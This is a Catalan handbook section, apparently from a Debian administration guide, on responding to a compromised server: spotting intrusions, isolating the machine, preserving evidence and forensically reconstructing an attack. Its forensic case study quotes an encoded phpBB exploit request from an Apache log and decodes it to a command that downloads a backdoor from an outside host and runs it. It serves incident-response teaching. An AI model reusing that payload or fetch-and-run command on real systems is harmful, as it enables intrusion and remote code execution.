14.7. Tractament d'una màquina compromesa
Malgrat les millors intencions i malgrat dissenyar acuradament la política de seguretat, un administrador s'enfrontarà eventualment a un acte de “segrest”. Aquesta secció proporciona algunes directrius sobre com reaccionar davant aquestes circumstàncies desafortunades.
14.7.1. Detecció i visualització de la intrusió del «cracker»
El primer pas per a reaccionar davant les esquerdes és ser conscient d'aquest acte. Això no és evident, especialment sense una infraestructura de monitorització adequada.
Els actes d'intrusió sovint no es detecten fins que tenen conseqüències directes en els serveis legítims allotjats a la màquina, com ara connexions que s'alenteixen, alguns usuaris que no poden connectar-se, o qualsevol altre tipus de disfunció. Davant aquests problemes, l'administrador ha de tenir una bona visió de la màquina i examinar amb cura el que no rutlla. Aquest és normalment el moment en què es descobreix un procés inusual, per exemple, un d'anomenat apache en lloc de l'estàndard /usr/sbin/apache2. Si seguim aquest exemple, el que cal fer és observar el seu identificador de procés, i comprovar /proc/pid/exe per veure quin programa està executant realment aquest procés:
# ls -al /proc/3719/exe
lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -> /var/tmp/.bash_httpd/psybnc
Un programa instal·lat sota /var/tmp/ i executant-se com a servidor web? No hi ha cap dubte que la màquina està compromesa.
Aquest és només un exemple, però molts altres suggeriments poden encendre la llumeta de l'administrador:
una opció d'una ordre que ja no funciona; la versió del programari que l'ordre diu que no coincideix amb la versió que se suposa que s'ha d'instal·lar segons dpkg;
un missatge d'intèrpret d'ordres o una salutació d'inici de sessió indicant que l'última connexió venia d'un servidor desconegut en un altre continent;
errors causats per la partició /tmp/ que va resultar estar plena de còpies il·legals de pel·lícules;
etc.
14.7.2. Desconnectar el servidor
Tret dels casos més exòtics, la intrusió prové de la xarxa, i l'atacant necessita una xarxa funcional per aconseguir els seus objectius (accés a dades confidencials, compartició d'arxius il·legals, amagar la identitat mitjançant l'ús de la màquina com a relé, etc.). Si encara no ho han aconseguit, desconnectar l'ordinador de la xarxa impedirà que l'atacant arribi a aquests objectius.
Això només pot ser possible si el servidor és físicament accessible. Quan el servidor està allotjat en un centre de dades d'un proveïdor d'allotjament a l'altre costat del país, o si el servidor no és accessible per cap altra raó, normalment és una bona idea començar recopilant informació important (vegeu
Secció 14.7.3, «Mantenir tot el que es pugui utilitzar com a evidència»,
Secció 14.7.5, «Anàlisi forense» i
Secció 14.7.6, «Reconstrucció de l'escenari d'atac»), per després aïllar aquest servidor tant com sigui possible mitjançant el tancament de tots els serveis possibles (normalment tots excepte
sshd). Aquest cas encara és incòmode, ja que no es pot descartar la possibilitat que l'atacant tingui accés a SSH com té l'administrador; això fa més difícil “netejar” les màquines.
14.7.3. Mantenir tot el que es pugui utilitzar com a evidència
Comprendre l'atac i/o emprendre accions legals contra els atacants requereix fer còpies de tots els elements importants; això inclou el contingut del disc dur, una llista de tots els processos en execució, i una llista de totes les connexions obertes. El contingut de la RAM també es podria utilitzar, però rarament s'utilitza en la pràctica.
En la intensitat del moment, els administradors sovint es veuen temptats de realitzar moltes comprovacions a la màquina compromesa; això normalment no és una bona idea. Tota ordre està potencialment subvertida i pot esborrar evidències. Les comprovacions s'han de restringir al conjunt mínim (netstat -tupan per a les connexions de xarxa,ps auxf per a una llista de processos,ls -alR /proc/[0-9]* per a una mica més d'informació sobre els programes en execució), i cada comprovació realitzada s'ha de documentar amb cura.
Un cop s'han salvat els elements “dinàmics”, el següent pas és emmagatzemar una imatge completa del disc dur. Fer una imatge així és impossible si el sistema de fitxers encara està evolucionant, i per això ha de ser remuntat només de lectura. La solució més simple és sovint aturar el servidor de cop (després d'executar sync) i reiniciar-lo amb un CD de rescat. Cada partició s'ha de copiar amb una eina com dd; aquestes imatges es poden enviar a un altre servidor (possiblement amb la molt convenient eina nc). Una altra possibilitat pot ser fins i tot més simple: simplement treure el disc de la màquina i substituir-lo per un altre de nou que pugui ser reformatat i reinstal·lat.
El servidor no s'ha de tornar a posar en línia sense una reinstal·lació completa. Si el compromís era sever (si s'obtenien privilegis administratius), gairebé no hi ha una altra manera d'assegurar-se que ens desfem de tot el que l'atacant podia haver deixat (particularment «backdoors» o “portes del darrera, amagades”). Per descomptat, també han d'aplicar-se totes les últimes actualitzacions de seguretat per a tapar la vulnerabilitat utilitzada per l'atacant. Idealment, analitzar l'atac hauria d'apuntar al vector d'atac, de manera que es pot estar segur de solucionar-lo; en cas contrari, només es pot esperar que la vulnerabilitat fos una de les arreglades per les actualitzacions.
La reinstal·lació d'un servidor remot no sempre és fàcil; pot implicar l'assistència de l'empresa d'allotjament, perquè no totes aquestes empreses proporcionen sistemes de reinstal·lació automatitzada o consoles remotes (tot i que aquests casos haurien de ser pocs). S'ha de tenir cura de no tornar a instal·lar la màquina de còpies de seguretat preses posteriorment al compromís. Idealment, només s'han de restaurar les dades; el programari real s'ha de reinstal·lar des de mitjans d'instal·lació.
Ara que el servei ha estat restaurat, és hora de tenir una mirada més estreta a les imatges en disc del sistema compromès per tal d'entendre el vector d'atac. Quan es munten aquestes imatges, s'ha de tenir cura d'utilitzar les opcions ro,nodev,noexec,noatime per evitar canviar el contingut (incloent les marques horàries d'accés als fitxers) o executar per error programes compromesos.
Resseguir un escenari d'atac sol implicar buscar tot el que es va modificar i executar:
els fitxers .bash_history sovint proporcionen una lectura molt interessant;
com també ho és la llista dels fitxers que s'han creat, modificat o accedit recentment;
l'ordre strings ajuda a identificar programes instal·lats per l'atacant, mitjançant l'extracció de cadenes de text d'un binari;
els fitxers de registre de /var/log/ sovint permeten reconstruir una cronologia dels esdeveniments;
Certes eines específiques també permeten restaurar el contingut de fitxers potencialment eliminats, incloent-hi fitxers de registre que els atacants sovint eliminen.
Algunes d'aquestes operacions es poden facilitar amb programari especialitzat. En particular, el paquet
sleuthkit proporciona moltes eines per analitzar un sistema de fitxers. El seu ús es fa més fàcil amb la interfície gràfica d'
Autopsy Forensic Browser (al paquet
autopsy). Algunes distribucions de Linux tenen una imatge d'instal·lació en viu («live install») i contenen molts programes per a l'anàlisi forense, com Kali Linux (vegeu
Secció A.8, «Kali Linux»), amb el seu
mode forense, BlackArchLinux, i el comercial Grml-Forensic, basat en Grml (vegeu
Secció A.6, «Grml»).
14.7.6. Reconstrucció de l'escenari d'atac
Tots els elements recollits durant l'anàlisi haurien d'ajustar-se com peces en un trencaclosques; la creació dels primers fitxers sospitosos sovint està correlacionada amb registres que demostren la ruptura. Un exemple en el món real hauria de ser més explícit que les llargues elucubracions teòriques.
El següent registre és un extracte d'un access.log d'Apache:
www.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] "GET /phpbb/viewtopic.php?t=10&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(32)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(124)%252echr(124)%252echr(32)%252echr(99)%252echr(117)%252echr(114)%252echr(108)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(45)%252echr(111)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(99)%252echr(104)%252echr(109)%252echr(111)%252echr(100)%252echr(32)%252echr(43)%252echr(120)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(46)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(38))%252e%2527 HTTP/1.1" 200 27969 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
Aquest exemple coincideix amb l'explotació d'una antiga vulnerabilitat de seguretat a phpBB.
La descodificació d'aquest llarg URL porta a entendre que l'atacant va aconseguir executar algun codi PHP, és a dir: system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &"). De fet, es va trobar un fitxer bd a /tmp/. Executant strings /mnt/tmp/bd retorna, entre altres cadenes, PsychoPhobia Backdoor is starting.... Això sembla realment una porta del darrere.
Un temps més tard, aquest accés es va utilitzar per descarregar, instal·lar i executar un bot d'IRC que connectava a una xarxa IRC clandestina. El bot es podia controlar a través d'aquest protocol i se li va donar instruccions per descarregar fitxers per compartir. Aquest programa fins i tot té el seu propi fitxer de registre:
** 2004-11-29-19:50:15: NOTICE: :GAB!sex@Rizon-2EDFBC28.pool8250.interbusiness.it NOTICE ReV|DivXNeW|504 :DCC Chat (82.50.72.202)
** 2004-11-29-19:50:15: DCC CHAT attempt authorized from GAB!SEX@RIZON-2EDFBC28.POOL8250.INTERBUSINESS.IT
** 2004-11-29-19:50:15: DCC CHAT received from GAB, attempting connection to 82.50.72.202:1024
** 2004-11-29-19:50:15: DCC CHAT connection suceeded, authenticating
** 2004-11-29-19:50:20: DCC CHAT Correct password
(...)
** 2004-11-29-19:50:49: DCC Send Accepted from ReV|DivXNeW|502: In.Ostaggio-iTa.Oper_-DvdScr.avi (713034KB)
(...)
** 2004-11-29-20:10:11: DCC Send Accepted from GAB: La_tela_dell_assassino.avi (666615KB)
(...)
** 2004-11-29-21:10:36: DCC Upload: Transfer Completed (666615 KB, 1 hr 24 sec, 183.9 KB/sec)
(...)
** 2004-11-29-22:18:57: DCC Upload: Transfer Completed (713034 KB, 2 hr 28 min 7 sec, 80.2 KB/sec)
Aquestes traces mostren que s'han emmagatzemat dos fitxers de vídeo al servidor a través de l'adreça IP 82.50.72.202.
En paral·lel, l'atacant també va descarregar un parell de fitxers addicionals, /tmp/pt i /tmp/loginx. Executant aquests fitxers a través de strings condueix a cadenes com Shellcode placed at 0x%08lx i Now wait for suid shell.... Aquests semblen programes que exploten vulnerabilitats locals per obtenir privilegis administratius. Aconseguiren el seu objectiu? En aquest cas, probablement no, ja que sembla que no s'ha modificat cap arxiu després de la intrusió inicial.
En aquest exemple s'ha reconstruït tota la intrusió, i es pot deduir que l'atacant ha estat capaç d'aprofitar el sistema compromès durant uns tres dies; però l'element més important en l'anàlisi és que la vulnerabilitat s'ha identificat, i l'administrador pot estar segur que la nova instal·lació realment soluciona la vulnerabilitat.
